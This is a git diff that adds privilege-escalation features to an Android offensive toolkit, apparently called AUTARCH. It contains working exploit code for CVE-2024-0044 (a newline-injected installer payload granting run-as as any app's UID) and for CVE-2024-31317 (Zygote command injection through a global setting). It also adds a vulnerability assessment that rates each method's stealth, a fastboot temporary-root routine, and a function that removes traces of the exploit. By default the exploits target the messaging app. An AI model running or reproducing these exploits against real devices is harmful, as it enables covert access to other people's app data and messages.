diff --git a/core/android_exploit.py b/core/android_exploit.py index b5a06a1..b1571cc 100644 --- a/core/android_exploit.py +++ b/core/android_exploit.py @@ -1251,6 +1251,386 @@ class AndroidExploitManager: success = rc == 0 and 'cannot' not in output.lower() and 'not allowed' not in output.lower() return {'success': success, 'output': output} + # ── Privilege Escalation Exploits ──────────────────────────────── + + def detect_os_type(self, serial) -> Dict[str, Any]: + """Detect if device runs stock Android, GrapheneOS, or other custom ROM.""" + info = {} + fingerprint = self._shell(serial, 'getprop ro.build.fingerprint')['output'].strip() + info['fingerprint'] = fingerprint + info['is_grapheneos'] = 'grapheneos' in fingerprint.lower() + + # Additional GrapheneOS indicators + if not info['is_grapheneos']: + desc = self._shell(serial, 'getprop ro.build.description')['output'].strip() + info['is_grapheneos'] = 'grapheneos' in desc.lower() + + brand = self._shell(serial, 'getprop ro.product.brand')['output'].strip() + info['is_pixel'] = brand.lower() in ('google',) + info['brand'] = brand + info['model'] = self._shell(serial, 'getprop ro.product.model')['output'].strip() + info['android_version'] = self._shell(serial, 'getprop ro.build.version.release')['output'].strip() + info['sdk'] = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip() + info['security_patch'] = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip() + info['build_type'] = self._shell(serial, 'getprop ro.build.type')['output'].strip() + info['kernel'] = self._shell(serial, 'uname -r 2>/dev/null')['output'].strip() + + # Check for hardened_malloc (GrapheneOS indicator) + malloc_check = self._shell(serial, 'getprop libc.debug.malloc.options 2>/dev/null') + info['hardened_malloc'] = 'hardened' in malloc_check['output'].lower() if malloc_check['returncode'] == 0 else info['is_grapheneos'] + + # Check bootloader state + bl = self._shell(serial, 'getprop ro.boot.verifiedbootstate')['output'].strip() + info['verified_boot_state'] = bl # green=locked, orange=unlocked, yellow=custom key + info['bootloader_unlocked'] = bl == 'orange' + + return info + + def assess_vulnerabilities(self, serial) -> Dict[str, Any]: + """Assess which privilege escalation methods are available for this device.""" + os_info = self.detect_os_type(serial) + try: + sdk_int = int(os_info.get('sdk', '0')) + except ValueError: + sdk_int = 0 + patch = os_info.get('security_patch', '') + is_graphene = os_info.get('is_grapheneos', False) + is_pixel = os_info.get('is_pixel', False) + + vulns = [] + + # CVE-2024-0044: run-as privilege escalation (Android 12-13) + if sdk_int in (31, 32, 33) and patch < '2024-10-01': + vulns.append({ + 'cve': 'CVE-2024-0044', + 'name': 'run-as privilege escalation', + 'severity': 'high', + 'type': 'app_uid_access', + 'description': 'Newline injection in PackageInstallerService allows run-as any app UID', + 'requirements': 'ADB shell (UID 2000)', + 'reliability': 'high', + 'stealth': 'moderate', + 'exploitable': True, + }) + + # CVE-2024-31317: Zygote injection via WRITE_SECURE_SETTINGS (Android 12-14) + if sdk_int in (31, 32, 33, 34) and patch < '2024-04-01': + vulns.append({ + 'cve': 'CVE-2024-31317', + 'name': 'Zygote injection via settings', + 'severity': 'high', + 'type': 'app_uid_access', + 'description': 'Inject commands into Zygote via hidden_api_blacklist_exemptions setting', + 'requirements': 'ADB shell (UID 2000, has WRITE_SECURE_SETTINGS)', + 'reliability': 'high', + 'stealth': 'moderate', + 'exploitable': not is_graphene, # GrapheneOS uses exec spawning, no Zygote + 'note': 'BLOCKED on GrapheneOS (exec spawning model, no Zygote)' if is_graphene else '', + }) + + # Pixel GPU exploit (CVE-2023-6241) — Pixel 7/8, Android 14 + if is_pixel and sdk_int == 34 and patch < '2023-12-01': + vulns.append({ + 'cve': 'CVE-2023-6241', + 'name': 'Pixel Mali GPU kernel root', + 'severity': 'critical', + 'type': 'kernel_root', + 'description': 'Integer overflow in GPU ioctl → arbitrary kernel R/W → full root + SELinux disable', + 'requirements': 'App context or ADB shell. Needs device-specific kernel offsets.', + 'reliability': 'high (with correct offsets)', + 'stealth': 'low', + 'exploitable': True, + 'public_poc': 'https://github.com/0x36/Pixel_GPU_Exploit', + }) + + # CVE-2025-0072: Mali GPU MTE bypass (Pixel 7/8/9, pre-May 2025) + if is_pixel and sdk_int >= 34 and patch < '2025-05-01': + vulns.append({ + 'cve': 'CVE-2025-0072', + 'name': 'Mali GPU MTE bypass → kernel root', + 'severity': 'critical', + 'type': 'kernel_root', + 'description': 'Page UAF in Mali CSF driver bypasses MTE via physical memory access', + 'requirements': 'App context or ADB shell. Works even with kernel MTE (Pixel 8+).', + 'reliability': 'high', + 'stealth': 'low', + 'exploitable': True, + 'note': 'Bypasses GrapheneOS hardened_malloc and kernel MTE' if is_graphene else '', + }) + + # fastboot temp root (unlocked bootloader) + if os_info.get('bootloader_unlocked'): + vulns.append({ + 'cve': 'N/A', + 'name': 'fastboot boot temp root', + 'severity': 'info', + 'type': 'temp_root', + 'description': 'Boot Magisk-patched image via fastboot boot (no permanent modification)', + 'requirements': 'Unlocked bootloader + physical access + fastboot', + 'reliability': 'high', + 'stealth': 'low (dm-verity tripped)', + 'exploitable': True, + }) + elif not is_graphene: + # Stock Pixel can be OEM unlocked + vulns.append({ + 'cve': 'N/A', + 'name': 'OEM unlock + fastboot boot', + 'severity': 'info', + 'type': 'temp_root', + 'description': 'Unlock bootloader (wipes device) then fastboot boot patched image', + 'requirements': 'OEM unlock enabled in settings + physical access', + 'reliability': 'high', + 'stealth': 'none (full wipe)', + 'exploitable': True, + }) + + # GrapheneOS-specific: avbroot + custom AVB key + if is_graphene and os_info.get('bootloader_unlocked'): + vulns.append({ + 'cve': 'N/A', + 'name': 'avbroot + Magisk + relock', + 'severity': 'info', + 'type': 'persistent_root', + 'description': 'Patch GrapheneOS OTA with avbroot + Magisk, flash custom AVB key, relock bootloader', + 'requirements': 'Unlocked bootloader (one-time), avbroot tool, Magisk APK', + 'reliability': 'high', + 'stealth': 'moderate (Play Integrity may detect)', + 'exploitable': True, + 'tool': 'https://github.com/schnatterer/rooted-graphene', + }) + + # Cellebrite USB chain (CVE-2024-53104) + if patch < '2025-02-01': + note = '' + if is_graphene: + note = 'GrapheneOS blocks USB data when screen locked — requires unlocked screen + active USB' + vulns.append({ + 'cve': 'CVE-2024-53104', + 'name': 'USB UVC driver OOB write (Cellebrite chain)', + 'severity': 'high', + 'type': 'kernel_root', + 'description': 'Malicious USB webcam descriptor triggers kernel heap write. Used by Cellebrite.', + 'requirements': 'Physical access + custom USB device + screen unlocked (GrapheneOS)', + 'reliability': 'high', + 'stealth': 'moderate', + 'exploitable': True, + 'note': note, + }) + + # ADB root (debug builds) + if os_info.get('build_type') in ('userdebug', 'eng'): + vulns.append({ + 'cve': 'N/A', + 'name': 'adb root (debug build)', + 'severity': 'info', + 'type': 'full_root', + 'description': 'Device is userdebug/eng build — adb root gives UID 0', + 'requirements': 'ADB connected', + 'reliability': 'high', + 'stealth': 'high', + 'exploitable': True, + }) + + # Shizuku / UID 2000 (always available with ADB) + vulns.append({ + 'cve': 'N/A', + 'name': 'Shizuku / ADB shell (UID 2000)', + 'severity': 'info', + 'type': 'elevated_shell', + 'description': 'ADB shell provides UID 2000 with access to dumpsys, pm, settings, content providers', + 'requirements': 'ADB enabled + authorized', + 'reliability': 'high', + 'stealth': 'high', + 'exploitable': True, + 'note': 'Reduced capabilities on GrapheneOS (stricter SELinux)' if is_graphene else '', + }) + + return { + 'os_info': os_info, + 'vulnerabilities': vulns, + 'exploitable_count': sum(1 for v in vulns if v.get('exploitable')), + 'has_kernel_root': any(v['type'] == 'kernel_root' for v in vulns if v.get('exploitable')), + 'has_app_uid': any(v['type'] == 'app_uid_access' for v in vulns if v.get('exploitable')), + } + + def exploit_cve_2024_0044(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]: + """Execute CVE-2024-0044 — run-as privilege escalation. + + Newline injection in PackageInstallerService.java createSessionInternal(). + Forges a package entry allowing run-as with any app's UID. + Works on Android 12-13 with security patch before October 2024. + """ + # Verify vulnerability + sdk = self._shell(serial, 'getprop ro.build.version.sdk')['output'].strip() + patch = self._shell(serial, 'getprop ro.build.version.security_patch')['output'].strip() + try: + sdk_int = int(sdk) + except ValueError: + return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'} + + if sdk_int not in (31, 32, 33): + return {'success': False, 'error': f'SDK {sdk_int} not vulnerable (need 31-33)'} + if patch >= '2024-10-01': + return {'success': False, 'error': f'Patch level {patch} is not vulnerable (need < 2024-10-01)'} + + # Step 1: Get target app UID + uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output'] + uid_match = re.search(r'uid:(\d+)', uid_output) + if not uid_match: + return {'success': False, 'error': f'Cannot find UID for {target_package}'} + target_uid = uid_match.group(1) + + # Step 2: Find a small APK to use as carrier + carrier_apk = '/data/local/tmp/autarch_carrier.apk' + # Copy a small system APK + for candidate in ['/system/app/BasicDreams/BasicDreams.apk', + '/system/app/CaptivePortalLogin/CaptivePortalLogin.apk', + '/system/priv-app/Settings/Settings.apk']: + cp = self._shell(serial, f'cp {candidate} {carrier_apk} 2>/dev/null') + if cp['returncode'] == 0: + break + else: + return {'success': False, 'error': 'Cannot find carrier APK'} + + # Step 3: Craft injection payload + victim_name = f'autarch_v_{int(time.time()) % 100000}' + payload = ( + f'@null\n' + f'{victim_name} {target_uid} 1 /data/user/0 ' + f'default:targetSdkVersion=28 none 0 0 1 @null' + ) + + # Step 4: Install with injected installer name + install = self._shell(serial, f'pm install -i "{payload}" {carrier_apk}', timeout=15) + + # Step 5: Verify access + verify = self._shell(serial, f'run-as {victim_name} id') + got_uid = f'uid={target_uid}' in verify['output'] or 'u0_a' in verify['output'] + + if got_uid: + return { + 'success': True, + 'victim_name': victim_name, + 'target_uid': target_uid, + 'target_package': target_package, + 'verify_output': verify['output'], + 'message': f'CVE-2024-0044 exploit successful. Use: run-as {victim_name}', + } + return { + 'success': False, + 'error': 'Exploit did not achieve expected UID', + 'install_output': install['output'], + 'verify_output': verify['output'], + } + + def exploit_cve_2024_31317(self, serial, target_package='com.google.android.apps.messaging') -> Dict[str, Any]: + """Execute CVE-2024-31317 — Zygote injection via WRITE_SECURE_SETTINGS. + + Injects a newline + Zygote command into hidden_api_blacklist_exemptions. + On next app spawn, Zygote executes injected code as the target app UID. + Works on Android 12-14 pre-March 2024 patch. BLOCKED on GrapheneOS (exec spawning). + """ + # Check if device uses Zygote (not GrapheneOS exec spawning) + os_info = self.detect_os_type(serial) + if os_info.get('is_grapheneos'): + return {'success': False, 'error': 'GrapheneOS uses exec spawning — no Zygote to inject into'} + + sdk = os_info.get('sdk', '0') + patch = os_info.get('security_patch', '') + try: + sdk_int = int(sdk) + except ValueError: + return {'success': False, 'error': f'Cannot parse SDK version: {sdk}'} + if sdk_int not in (31, 32, 33, 34): + return {'success': False, 'error': f'SDK {sdk_int} not vulnerable'} + if patch >= '2024-04-01': + return {'success': False, 'error': f'Patch {patch} not vulnerable'} + + # Get target UID + uid_output = self._shell(serial, f'pm list packages -U | grep {target_package}')['output'] + uid_match = re.search(r'uid:(\d+)', uid_output) + if not uid_match: + return {'success': False, 'error': f'Cannot find UID for {target_package}'} + + # Inject into hidden_api_blacklist_exemptions + # The injected command tells Zygote to run a shell command on next app fork + staging = '/data/local/tmp/autarch_31317' + inject_cmd = f'mkdir -p {staging} && id > {staging}/whoami' + zygote_payload = f'*\\n--invoke-with\\n/system/bin/sh -c {inject_cmd}' + + result = self._shell(serial, + f'settings put global hidden_api_blacklist_exemptions "{zygote_payload}"') + + # Force target app restart to trigger Zygote fork + self._shell(serial, f'am force-stop {target_package}') + time.sleep(1) + # Launch target to trigger the fork + self._shell(serial, f'monkey -p {target_package} -c android.intent.category.LAUNCHER 1 2>/dev/null') + time.sleep(3) + + # Check if injection worked + check = self._shell(serial, f'cat {staging}/whoami 2>/dev/null') + + # IMPORTANT: Clean up the setting + self._shell(serial, 'settings put global hidden_api_blacklist_exemptions "*"') + + if check['returncode'] == 0 and check['output'].strip(): + return { + 'success': True, + 'injected_uid': check['output'].strip(), + 'target_package': target_package, + 'message': f'CVE-2024-31317 injection successful. Executed as: {check["output"].strip()}', + } + return { + 'success': False, + 'error': 'Zygote injection did not produce output — app may not have spawned', + 'settings_result': result['output'], + } + + def fastboot_temp_root(self, serial, patched_image_path: str) -> Dict[str, Any]: + """Boot a Magisk-patched boot/init_boot image via fastboot (non-persistent root). + + Requires: unlocked bootloader, device in fastboot mode, patched image file. + Does NOT flash — just boots temporarily. Reboot returns to stock. + """ + if not os.path.isfile(patched_image_path): + return {'success': False, 'error': f'File not found: {patched_image_path}'} + + # Check if we're in fastboot mode + stdout, stderr, rc = self.hw._run_fastboot(['devices'], serial=serial, timeout=10) + if serial not in (stdout or ''): + return { + 'success': False, + 'error': 'Device not in fastboot mode. Run: adb reboot bootloader', + } + + # Boot the patched image (NOT flash) + stdout, stderr, rc = self.hw._run_fastboot( + ['boot', patched_image_path], serial=serial, timeout=60 + ) + output = stdout or stderr + success = rc == 0 and 'FAILED' not in output.upper() + + return { + 'success': success, + 'output': output, + 'message': 'Temporary root boot initiated — device should boot with Magisk root. ' + 'Root is lost on next reboot.' if success else 'fastboot boot failed', + 'note': 'BLOCKED on locked GrapheneOS bootloader' if not success else '', + } + + def cleanup_cve_2024_0044(self, serial, victim_name: str) -> Dict[str, Any]: + """Remove traces of CVE-2024-0044 exploit.""" + results = [] + # Uninstall forged package + out = self._shell(serial, f'pm uninstall {victim_name}') + results.append(f'Uninstall {victim_name}: {out["output"]}') + # Remove carrier APK + self._shell(serial, 'rm -f /data/local/tmp/autarch_carrier.apk') + results.append('Removed carrier APK') + return {'success': True, 'cleanup': results} + # ── Screen & Input Control (Android 9+) ────────────────────────── def screen_capture(self, serial): diff --git a/modules/android_root.py b/modules/android_root.py index a988aab..2d0275d 100644 --- a/modules/android_root.py +++ b/modules/android_root.py @@ -1,10 +1,18 @@ """ -Android Root Methods - Root detection, Magisk install, exploit-based rooting +Android Root Methods v2.0 — Root detection, Magisk, CVE exploits, GrapheneOS support + +Privilege escalation paths: + CVE-2024-0044 — run-as any app UID (Android 12-13, pre-Oct 2024) + CVE-2024-31317 — Zygote injection (Android 12-14, pre-Mar 2024, NOT GrapheneOS) + fastboot boot — temp root via Magisk-patched image (unlocked bootloader) + Pixel GPU — kernel root via Mali driver (CVE-2023-6241, CVE-2025-0072) + Magisk — standard Magisk install + patch workflow + adb root — userdebug/eng builds only """ -DESCRIPTION = "Android root methods (Magisk, exploits, root detection)" +DESCRIPTION = "Android root methods (CVE-2024-0044, CVE-2024-31317, Magisk, fastboot, GrapheneOS)" AUTHOR = "AUTARCH" -VERSION = "1.0" +VERSION = "2.0" CATEGORY = "offense" import sys @@ -13,7 +21,7 @@ sys.path.insert(0, str(Path(__file__).resolve().parent.parent)) class AndroidRoot: - """Interactive menu for Android rooting operations.""" + """Interactive menu for Android rooting and privilege escalation.""" def __init__(self): from core.android_exploit import get_exploit_manager @@ -48,16 +56,22 @@ class AndroidRoot: return self.serial is not None def show_menu(self): - print(f"\n{'='*50}") - print(" Root Methods") - print(f"{'='*50}") + print(f"\n{'='*55}") + print(" Root Methods & Privilege Escalation") + print(f"{'='*55}") print(f" Device: {self.serial or '(none)'}") print() print(" [1] Check Root Status") - print(" [2] Install Magisk APK") - print(" [3] Pull Patched Boot Image") - print(" [4] Root via Exploit") - print(" [5] ADB Root Shell (debug builds)") + print(" [2] Vulnerability Assessment") + print(" [3] Detect OS (Stock / GrapheneOS)") + print(" [4] CVE-2024-0044 — run-as any app UID") + print(" [5] CVE-2024-31317 — Zygote injection") + print(" [6] Install Magisk APK") + print(" [7] Pull Patched Boot Image") + print(" [8] Fastboot Temp Root (boot patched image)") + print(" [9] Root via Exploit Binary") + print(" [a] ADB Root Shell (debug builds)") + print(" [c] Cleanup CVE-2024-0044 Traces") print(" [s] Select Device") print(" [0] Back") print() @@ -72,11 +86,76 @@ class AndroidRoot: print(f" Method: {result['method']}") if result['version']: print(f" Version: {result['version']}") - details = result.get('details', {}) - if details: - print(f" Details:") - for k, v in details.items(): - print(f" {k}: {v}") + for k, v in result.get('details', {}).items(): + print(f" {k}: {v}") + + def vuln_assessment(self): + if not self._ensure_device(): + return + print(" Assessing vulnerabilities...") + result = self.mgr.assess_vulnerabilities(self.serial) + oi = result['os_info'] + print(f"\n OS: {'GrapheneOS' if oi.get('is_grapheneos') else 'Stock Android'}") + print(f" Model: {oi.get('model', '?')} ({oi.get('brand', '?')})") + print(f" Android: {oi.get('android_version', '?')} (SDK {oi.get('sdk', '?')})") + print(f" Patch: {oi.get('security_patch', '?')}") + print(f" Bootloader: {'UNLOCKED' if oi.get('bootloader_unlocked') else 'LOCKED'}") + print(f" Kernel: {oi.get('kernel', '?')}") + print(f"\n Exploitable: {result['exploitable_count']}") + print(f" Kernel root: {'YES' if result['has_kernel_root'] else 'NO'}") + print(f" App UID: {'YES' if result['has_app_uid'] else 'NO'}") + for v in result['vulnerabilities']: + m = '[!]' if v.get('exploitable') else '[ ]' + print(f"\n {m} {v.get('cve', 'N/A'):20s} {v['name']}") + print(f" Type: {v['type']} | Severity: {v.get('severity', '?')}") + if v.get('note'): + print(f" Note: {v['note']}") + + def detect_os(self): + if not self._ensure_device(): + return + info = self.mgr.detect_os_type(self.serial) + print(f"\n Brand: {info.get('brand', '?')}") + print(f" Model: {info.get('model', '?')}") + print(f" Android: {info.get('android_version', '?')} (SDK {info.get('sdk', '?')})") + print(f" Patch: {info.get('security_patch', '?')}") + print(f" Pixel: {'YES' if info.get('is_pixel') else 'NO'}") + print(f" GrapheneOS: {'YES' if info.get('is_grapheneos') else 'NO'}") + print(f" Hardened Malloc: {'YES' if info.get('hardened_malloc') else 'NO'}") + print(f" Bootloader: {'UNLOCKED' if info.get('bootloader_unlocked') else 'LOCKED'}") + + def cve_0044(self): + if not self._ensure_device(): + return + try: + target = input(" Target package [com.google.android.apps.messaging]: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not target: + target = 'com.google.android.apps.messaging' + print(f" Exploiting CVE-2024-0044 against {target}...") + result = self.mgr.exploit_cve_2024_0044(self.serial, target) + if result['success']: + print(f"\n SUCCESS! {result['message']}") + print(f" Victim: {result['victim_name']} UID: {result['target_uid']}") + else: + print(f"\n FAILED: {result.get('error', 'Unknown')}") + + def cve_31317(self): + if not self._ensure_device(): + return + try: + target = input(" Target package [com.google.android.apps.messaging]: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not target: + target = 'com.google.android.apps.messaging' + print(f" Exploiting CVE-2024-31317 against {target}...") + result = self.mgr.exploit_cve_2024_31317(self.serial, target) + if result['success']: + print(f"\n SUCCESS! {result['message']}") + else: + print(f"\n FAILED: {result.get('error', 'Unknown')}") def install_magisk(self): if not self._ensure_device(): @@ -87,26 +166,37 @@ class AndroidRoot: return if not apk: return - print(" Installing Magisk APK...") result = self.mgr.install_magisk(self.serial, apk) if result['success']: - print(" Magisk installed successfully.") - print(" Next: Open Magisk app, patch boot image, then flash patched boot.") + print(" Magisk installed. Open app → patch boot image → use [8] to temp boot.") else: print(f" Error: {result.get('error', result.get('output', 'Failed'))}") def pull_patched(self): if not self._ensure_device(): return - print(" Looking for patched boot image...") result = self.mgr.pull_patched_boot(self.serial) if result['success']: - size_mb = result['size'] / (1024 * 1024) - print(f" Saved: {result['local_path']} ({size_mb:.1f} MB)") - print(" Next: Reboot to fastboot, flash this as boot partition.") + print(f" Saved: {result['local_path']} ({result['size'] / (1024*1024):.1f} MB)") else: print(f" Error: {result.get('error', 'Failed')}") + def fastboot_root(self): + if not self._ensure_device(): + return + try: + img = input(" Patched boot/init_boot image: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not img: + return + print(" Booting patched image via fastboot (temp root, no flash)...") + result = self.mgr.fastboot_temp_root(self.serial, img) + if result['success']: + print(f"\n {result['message']}") + else: + print(f"\n FAILED: {result.get('error', '')}") + def root_exploit(self): if not self._ensure_device(): return @@ -116,23 +206,28 @@ class AndroidRoot: return if not exploit: return - print(" Deploying and executing exploit...") result = self.mgr.root_via_exploit(self.serial, exploit) - if result['success']: - print(" ROOT OBTAINED!") - else: - print(" Root not obtained.") - print(f" Exploit output:\n{result.get('exploit_output', '')}") + print(" ROOT OBTAINED!" if result['success'] else " Root not obtained.") + print(f" Output:\n{result.get('exploit_output', '')}") def adb_root(self): if not self._ensure_device(): return - print(" Attempting adb root (userdebug/eng builds only)...") result = self.mgr.adb_root_shell(self.serial) - if result['success']: - print(" ADB running as root.") - else: - print(f" Failed: {result['output']}") + print(" ADB running as root." if result['success'] else f" Failed: {result['output']}") + + def cleanup(self): + if not self._ensure_device(): + return + try: + victim = input(" Victim name from CVE-2024-0044: ").strip() + except (EOFError, KeyboardInterrupt): + return + if not victim: + return + result = self.mgr.cleanup_cve_2024_0044(self.serial, victim) + for line in result.get('cleanup', []): + print(f" {line}") def run_interactive(self): while True: @@ -144,12 +239,10 @@ class AndroidRoot: if choice == '0': break actions = { - '1': self.check_root, - '2': self.install_magisk, - '3': self.pull_patched, - '4': self.root_exploit, - '5': self.adb_root, - 's': self._select_device, + '1': self.check_root, '2': self.vuln_assessment, '3': self.detect_os, + '4': self.cve_0044, '5': self.cve_31317, '6': self.install_magisk, + '7': self.pull_patched, '8': self.fastboot_root, '9': self.root_exploit, + 'a': self.adb_root, 'c': self.cleanup, 's': self._select_device, } action = actions.get(choice) if action: